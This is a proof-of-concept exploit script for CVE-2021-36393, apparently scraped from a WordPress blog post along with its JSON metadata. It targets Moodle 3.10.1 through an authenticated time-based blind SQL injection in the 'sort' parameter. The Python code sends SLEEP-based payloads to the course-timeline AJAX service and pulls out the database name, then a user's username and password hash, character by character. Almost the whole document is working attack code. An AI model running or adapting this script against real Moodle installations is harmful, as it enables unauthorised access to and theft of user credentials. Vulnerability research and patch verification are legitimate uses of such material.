# Exploit Title: Moodle Authenticated Time-Based Blind SQL Injection – “sort” Parameter
# Google Dork:
# Date: 04\/11\/2023
# Exploit Author: Julio \u00c1ngel Ferrari (Aka. T0X1Cx)
# Vendor Homepage: https:\/\/moodle.org\/
# Software Link:
# Version: 3.10.1
# Tested on: Linux
# CVE : CVE-2021-36393<\/p>\n
import requests
import string
from termcolor import colored<\/p>\n
# Request details
URL = “http:\/\/127.0.0.1:8080\/moodle\/lib\/ajax\/service.php?sesskey=ZT0E6J0xWe&info=core_course_get_enrolled_courses_by_timeline_classification”
HEADERS = {
“Accept”: “application\/json, text\/javascript, *\/*; q=0.01”,
“Content-Type”: “application\/json”,
“X-Requested-With”: “XMLHttpRequest”,
“User-Agent”: “Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/114.0.5735.91 Safari\/537.36”,
“Origin”: “http:\/\/127.0.0.1:8080”,
“Referer”: “http:\/\/127.0.0.1:8080\/moodle\/my\/”,
“Accept-Encoding”: “gzip, deflate”,
“Accept-Language”: “en-US,en;q=0.9”,
“Cookie”: “MoodleSession=5b1rk2pfdpbcq2i5hmmern1os0”,
“Connection”: “close”
}<\/p>\n
# Characters to test
characters_to_test = string.ascii_lowercase + string.ascii_uppercase + string.digits + “!@#$^&*()-_=+[]{}|;:’\\”,.<>?\/”<\/p>\n
def test_character(payload):
response = requests.post(URL, headers=HEADERS, json=[payload])
return response.elapsed.total_seconds() >= 3<\/p>\n
def extract_value(column, label):
base_payload = {
“index”: 0,
“methodname”: “core_course_get_enrolled_courses_by_timeline_classification”,
“args”: {
“offset”: 0,
“limit”: 0,
“classification”: “all”,
“sort”: “”,
“customfieldname”: “”,
“customfieldvalue”: “”
}
}<\/p>\n
result = “”
for _ in range(50): # Assumes a maximum of 50 characters for the value
character_found = False
for character in characters_to_test:
if column == “database()”:
base_payload[“args”][“sort”] = f”fullname OR (database()) LIKE ‘{result + character}%’ AND SLEEP(3)”
else:
base_payload[“args”][“sort”] = f”fullname OR (SELECT {column} FROM mdl_user LIMIT 1 OFFSET 0) LIKE ‘{result + character}%’ AND SLEEP(3)”<\/p>\n
if test_character(base_payload):
result += character
print(colored(f”{label}: {result}”, ‘red’), end=”\\r”)
character_found = True
break<\/p>\n
if not character_found:
break<\/p>\n
# Print the final result
print(colored(f”{label}: {result}”, ‘red’))<\/p>\n
if __name__ == “__main__”:
extract_value(“database()”, “Database”)
extract_value(“username”, “Username”)
extract_value(“password”, “Password”)<\/p>\n","protected":false},"excerpt":{"rendered":"
# Exploit Title: Moodle Authenticated Time-Based Blind SQL Injection – “sort” Parameter# Google Dork: # Date: 04\/11\/2023# Exploit Author: Julio \u00c1ngel Ferrari (Aka. T0X1Cx)# Vendor Homepage: https:\/\/moodle.org\/# Software Link: # Version: 3.10.1# Tested on: Linux# CVE : CVE-2021-36393 import requestsimport stringfrom termcolor import colored # Request detailsURL = “http:\/\/127.0.0.1:8080\/moodle\/lib\/ajax\/service.php?sesskey=ZT0E6J0xWe&info=core_course_get_enrolled_courses_by_timeline_classification”HEADERS = {“Accept”: “application\/json, text\/javascript, *\/*; q=0.01”,“Content-Type”: …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-56274","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56274","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=56274"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56274\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=56274"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=56274"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=56274"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}